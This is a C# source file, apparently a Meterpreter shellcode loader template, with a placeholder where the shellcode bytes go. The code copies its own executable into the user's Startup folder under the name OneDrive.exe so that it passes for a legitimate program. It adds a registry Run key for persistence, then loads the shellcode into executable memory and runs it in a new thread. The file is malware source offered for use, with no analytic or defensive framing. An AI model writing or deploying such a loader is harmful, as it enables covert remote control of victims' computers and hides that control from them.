using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Collections.Specialized;
using System.Windows.Forms;
using System.IO;
using System.Threading;
using Microsoft.VisualBasic;
using Microsoft.Win32;

namespace TCPMeterpreterProcess
{




    class Program

    {



        [DllImport("shell32.dll")]

        public static extern long ShellExecute(int hwnd, string cmd, string file, string param1, string param2, int swmode);
        [STAThread]

        static void Main(string[] args)
        {

            {

            }



            {

           //Gz
                byte[] shellcode = new byte[] {
-->ShellCode-Here<--
};

                {
                    string startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
                    System.IO.File.Move(Application.ExecutablePath, startup + @"\OneDrive.exe");
                }
                RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                reg.SetValue("My Application", Application.ExecutablePath.ToString());
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
                IntPtr hThread = IntPtr.Zero;
                UInt32 threadId = 0;
                // prepare data

                IntPtr pinfo = IntPtr.Zero;

                // execute native code

                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                WaitForSingleObject(hThread, 0xFFFFFFFF);

            }
        }

        private static void FileCopy(string v, object p)
        {
            throw new NotImplementedException();
        }

        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
        private static string startup;

        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
        UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress,
        UInt32 dwSize, UInt32 dwFreeType);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(

        UInt32 lpThreadAttributes,
        UInt32 dwStackSize,
        UInt32 lpStartAddress,
        IntPtr param,
        UInt32 dwCreationFlags,
        ref UInt32 lpThreadId

        );
        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(

        IntPtr hHandle,
        UInt32 dwMilliseconds
        );
        [DllImport("kernel32")]
        private static extern IntPtr GetModuleHandle(

        string moduleName

        );
        [DllImport("kernel32")]
        private static extern UInt32 GetProcAddress(

        IntPtr hModule,
        string procName

        );
        [DllImport("kernel32")]
        private static extern UInt32 LoadLibrary(

        string lpFileName

        );
        [DllImport("kernel32")]
        private static extern UInt32 GetLastError();

    }
}